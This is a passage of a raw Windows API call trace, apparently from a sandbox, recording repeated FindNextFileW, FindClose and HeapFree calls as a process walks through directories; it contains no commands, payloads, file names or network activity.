[0303.567] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 0 [0303.567] FindClose (in: hFindFile=0x7fd148 | out: hFindFile=0x7fd148) returned 1 [0303.567] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.567] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0303.568] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0303.568] FindNextFileW (in: hFindFile=0x7fd188, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 0 [0303.568] FindClose (in: hFindFile=0x7fd188 | out: hFindFile=0x7fd188) returned 1 [0303.568] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0303.568] FindNextFileW (in: hFindFile=0x7fd2c8, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0303.568] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0303.568] FindNextFileW (in: hFindFile=0x7fd2c8, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 0 [0303.568] FindClose (in: hFindFile=0x7fd2c8 | out: hFindFile=0x7fd2c8) returned 1 [0303.568] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.570] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 0 [0303.570] FindClose (in: hFindFile=0x7fcf88 | out: hFindFile=0x7fcf88) returned 1 [0303.570] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0303.570] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0303.572] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0303.573] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0303.573] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0303.573] FindNextFileW (in: hFindFile=0x7fcfc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.573] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0303.573] FindNextFileW (in: hFindFile=0x7fcfc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.573] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0303.573] FindNextFileW (in: hFindFile=0x7fcfc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.573] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0303.573] FindNextFileW (in: hFindFile=0x7fcfc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.574] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0303.574] FindNextFileW (in: hFindFile=0x7fcfc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.574] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0303.574] FindNextFileW (in: hFindFile=0x7fcfc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.574] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0303.574] FindNextFileW (in: hFindFile=0x7fcfc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.574] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0303.574] FindNextFileW (in: hFindFile=0x7fcfc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.574] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0303.574] FindNextFileW (in: hFindFile=0x7fcfc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.575] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0303.575] FindNextFileW (in: hFindFile=0x7fcfc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.575] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0303.575] FindNextFileW (in: hFindFile=0x7fcfc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 0 [0303.575] FindClose (in: hFindFile=0x7fcfc8 | out: hFindFile=0x7fcfc8) returned 1 [0303.575] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0303.575] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0303.575] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0303.575] FindNextFileW (in: hFindFile=0x7fcc88, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.577] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0303.577] FindNextFileW (in: hFindFile=0x7fcc88, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.577] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0303.577] FindNextFileW (in: hFindFile=0x7fcc88, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.578] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0303.578] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0303.578] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0303.578] FindNextFileW (in: hFindFile=0x7fce08, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.578] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0303.578] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0303.578] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0303.578] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.884] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44848c8 | out: hHeap=0x700000) returned 1 [0303.884] FindNextFileW (in: hFindFile=0x7fcf08, lpFindFileData=0x39fe918 | out: lpFindFileData=0x39fe918) returned 0 [0303.885] FindClose (in: hFindFile=0x7fcf08 | out: hFindFile=0x7fcf08) returned 1 [0303.885] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0303.885] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 0 [0303.885] FindClose (in: hFindFile=0x7fd308 | out: hFindFile=0x7fd308) returned 1 [0303.885] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0303.886] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0303.887] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44848c8 | out: hHeap=0x700000) returned 1 [0303.887] FindNextFileW (in: hFindFile=0x7fcbc8, lpFindFileData=0x39fe918 | out: lpFindFileData=0x39fe918) returned 0 [0303.887] FindClose (in: hFindFile=0x7fcbc8 | out: hFindFile=0x7fcbc8) returned 1 [0303.888] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0303.888] FindNextFileW (in: hFindFile=0x7fd108, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 0 [0303.888] FindClose (in: hFindFile=0x7fd108 | out: hFindFile=0x7fd108) returned 1 [0303.888] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0303.889] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 0 [0303.889] FindClose (in: hFindFile=0x7fcdc8 | out: hFindFile=0x7fcdc8) returned 1 [0303.889] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.889] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0303.890] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0303.890] FindNextFileW (in: hFindFile=0x7fd008, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 0 [0303.890] FindClose (in: hFindFile=0x7fd008 | out: hFindFile=0x7fd008) returned 1 [0303.890] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.890] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 0 [0303.890] FindClose (in: hFindFile=0x7fcf88 | out: hFindFile=0x7fcf88) returned 1 [0303.890] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0303.892] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0303.896] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44848c8 | out: hHeap=0x700000) returned 1 [0303.896] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39fe918 | out: lpFindFileData=0x39fe918) returned 1 [0303.896] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44948d0 | out: hHeap=0x700000) returned 1 [0303.896] FindNextFileW (in: hFindFile=0x7fcc88, lpFindFileData=0x39fe69c | out: lpFindFileData=0x39fe69c) returned 0 [0303.896] FindClose (in: hFindFile=0x7fcc88 | out: hFindFile=0x7fcc88) returned 1 [0303.896] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44848c8 | out: hHeap=0x700000) returned 1 [0303.896] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39fe918 | out: lpFindFileData=0x39fe918) returned 1 [0303.897] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0303.898] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 0 [0303.898] FindClose (in: hFindFile=0x7fd288 | out: hFindFile=0x7fd288) returned 1 [0303.898] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0303.899] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 0 [0303.899] FindClose (in: hFindFile=0x7fcf88 | out: hFindFile=0x7fcf88) returned 1 [0303.899] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.899] FindNextFileW (in: hFindFile=0x7fccc8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0303.899] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.899] FindNextFileW (in: hFindFile=0x7fccc8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0303.899] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0303.899] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 0 [0303.899] FindClose (in: hFindFile=0x7fd148 | out: hFindFile=0x7fd148) returned 1 [0303.899] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0303.899] FindNextFileW (in: hFindFile=0x7fd2c8, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 0 [0303.899] FindClose (in: hFindFile=0x7fd2c8 | out: hFindFile=0x7fd2c8) returned 1 [0303.900] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.901] FindNextFileW (in: hFindFile=0x7fccc8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0303.902] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0303.902] FindNextFileW (in: hFindFile=0x7fcc88, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 0 [0303.902] FindClose (in: hFindFile=0x7fcc88 | out: hFindFile=0x7fcc88) returned 1 [0303.902] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0303.902] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 0 [0303.902] FindClose (in: hFindFile=0x7fd148 | out: hFindFile=0x7fd148) returned 1 [0303.902] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.902] FindNextFileW (in: hFindFile=0x7fccc8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 0 [0303.902] FindClose (in: hFindFile=0x7fccc8 | out: hFindFile=0x7fccc8) returned 1 [0303.903] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0303.904] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0303.908] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44848c8 | out: hHeap=0x700000) returned 1 [0303.908] FindNextFileW (in: hFindFile=0x7fd008, lpFindFileData=0x39fe918 | out: lpFindFileData=0x39fe918) returned 1 [0303.908] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44948d0 | out: hHeap=0x700000) returned 1 [0303.909] FindNextFileW (in: hFindFile=0x7fd348, lpFindFileData=0x39fe69c | out: lpFindFileData=0x39fe69c) returned 0 [0303.909] FindClose (in: hFindFile=0x7fd348 | out: hFindFile=0x7fd348) returned 1 [0303.909] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44848c8 | out: hHeap=0x700000) returned 1 [0303.909] FindNextFileW (in: hFindFile=0x7fd008, lpFindFileData=0x39fe918 | out: lpFindFileData=0x39fe918) returned 1 [0303.909] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0303.910] FindNextFileW (in: hFindFile=0x7fccc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 0 [0303.910] FindClose (in: hFindFile=0x7fccc8 | out: hFindFile=0x7fccc8) returned 1 [0303.910] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0303.911] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 0 [0303.911] FindClose (in: hFindFile=0x7fcdc8 | out: hFindFile=0x7fcdc8) returned 1 [0303.911] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.911] FindNextFileW (in: hFindFile=0x7fcbc8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0303.913] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0303.913] FindNextFileW (in: hFindFile=0x7fd008, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.922] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44848c8 | out: hHeap=0x700000) returned 1 [0303.922] FindNextFileW (in: hFindFile=0x7fd248, lpFindFileData=0x39fe918 | out: lpFindFileData=0x39fe918) returned 1 [0303.925] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44848c8 | out: hHeap=0x700000) returned 1 [0303.925] FindNextFileW (in: hFindFile=0x7fd248, lpFindFileData=0x39fe918 | out: lpFindFileData=0x39fe918) returned 1 [0303.926] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0303.926] FindNextFileW (in: hFindFile=0x7fd008, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0303.927] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0303.928] FindNextFileW (in: hFindFile=0x7fce08, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 0 [0303.928] FindClose (in: hFindFile=0x7fce08 | out: hFindFile=0x7fce08) returned 1 [0303.928] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.928] FindNextFileW (in: hFindFile=0x7fcbc8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0304.211] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0304.211] FindNextFileW (in: hFindFile=0x7fd208, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 0 [0304.211] FindClose (in: hFindFile=0x7fd208 | out: hFindFile=0x7fd208) returned 1 [0304.212] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0304.212] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 0 [0304.212] FindClose (in: hFindFile=0x7fd048 | out: hFindFile=0x7fd048) returned 1 [0304.212] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0304.213] FindNextFileW (in: hFindFile=0x7fcbc8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0304.233] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0304.233] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 0 [0304.233] FindClose (in: hFindFile=0x7fd048 | out: hFindFile=0x7fd048) returned 1 [0304.233] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0304.491] FindNextFileW (in: hFindFile=0x7fce08, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 0 [0304.491] FindClose (in: hFindFile=0x7fce08 | out: hFindFile=0x7fce08) returned 1 [0304.491] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0304.492] FindNextFileW (in: hFindFile=0x7fcbc8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0304.494] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0304.494] FindNextFileW (in: hFindFile=0x7fd008, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 0 [0304.494] FindClose (in: hFindFile=0x7fd008 | out: hFindFile=0x7fd008) returned 1 [0304.494] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0304.494] FindNextFileW (in: hFindFile=0x7fcbc8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 0 [0304.494] FindClose (in: hFindFile=0x7fcbc8 | out: hFindFile=0x7fcbc8) returned 1 [0304.494] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0304.494] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0304.497] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0304.497] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0304.499] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0304.500] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0304.500] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44848c8 | out: hHeap=0x700000) returned 1 [0304.500] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39fe918 | out: lpFindFileData=0x39fe918) returned 0 [0304.500] FindClose (in: hFindFile=0x7fcc48 | out: hFindFile=0x7fcc48) returned 1 [0304.500] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0304.500] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 0 [0304.500] FindClose (in: hFindFile=0x7fd288 | out: hFindFile=0x7fd288) returned 1 [0304.500] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0304.501] FindNextFileW (in: hFindFile=0x7fcf08, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0304.503] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44848c8 | out: hHeap=0x700000) returned 1 [0304.503] FindNextFileW (in: hFindFile=0x7fcc08, lpFindFileData=0x39fe918 | out: lpFindFileData=0x39fe918) returned 0 [0304.503] FindClose (in: hFindFile=0x7fcc08 | out: hFindFile=0x7fcc08) returned 1 [0304.503] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0304.503] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0304.503] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44848c8 | out: hHeap=0x700000) returned 1 [0304.503] FindNextFileW (in: hFindFile=0x7fcc08, lpFindFileData=0x39fe918 | out: lpFindFileData=0x39fe918) returned 0 [0304.503] FindClose (in: hFindFile=0x7fcc08 | out: hFindFile=0x7fcc08) returned 1 [0304.503] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0304.503] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0304.503] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44848c8 | out: hHeap=0x700000) returned 1 [0304.503] FindNextFileW (in: hFindFile=0x7fccc8, lpFindFileData=0x39fe918 | out: lpFindFileData=0x39fe918) returned 0 [0304.503] FindClose (in: hFindFile=0x7fccc8 | out: hFindFile=0x7fccc8) returned 1 [0304.504] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0304.504] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0304.504] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44848c8 | out: hHeap=0x700000) returned 1 [0304.504] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fe918 | out: lpFindFileData=0x39fe918) returned 0 [0304.504] FindClose (in: hFindFile=0x7fcf88 | out: hFindFile=0x7fcf88) returned 1 [0304.504] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0304.504] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0304.504] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44848c8 | out: hHeap=0x700000) returned 1 [0304.504] FindNextFileW (in: hFindFile=0x7fcfc8, lpFindFileData=0x39fe918 | out: lpFindFileData=0x39fe918) returned 0 [0304.504] FindClose (in: hFindFile=0x7fcfc8 | out: hFindFile=0x7fcfc8) returned 1 [0304.504] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0304.504] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0304.505] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44848c8 | out: hHeap=0x700000) returned 1 [0304.505] FindNextFileW (in: hFindFile=0x7fce08, lpFindFileData=0x39fe918 | out: lpFindFileData=0x39fe918) returned 0 [0304.505] FindClose (in: hFindFile=0x7fce08 | out: hFindFile=0x7fce08) returned 1 [0304.505] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0304.505] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 0 [0304.505] FindClose (in: hFindFile=0x7fcdc8 | out: hFindFile=0x7fcdc8) returned 1 [0304.505] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0304.506] FindNextFileW (in: hFindFile=0x7fcf08, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 0 [0304.506] FindClose (in: hFindFile=0x7fcf08 | out: hFindFile=0x7fcf08) returned 1 [0304.506] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0304.506] FindNextFileW (in: hFindFile=0x7fcbc8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0304.506] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0304.506] FindNextFileW (in: hFindFile=0x7fcbc8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0304.509] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0304.509] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0304.510] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0304.510] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0304.510] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0304.510] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0304.524] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0304.524] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0304.524] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0304.524] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 0 [0304.524] FindClose (in: hFindFile=0x7fcdc8 | out: hFindFile=0x7fcdc8) returned 1 [0304.524] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0304.524] FindNextFileW (in: hFindFile=0x7fcbc8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0304.524] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0304.524] FindNextFileW (in: hFindFile=0x7fd348, 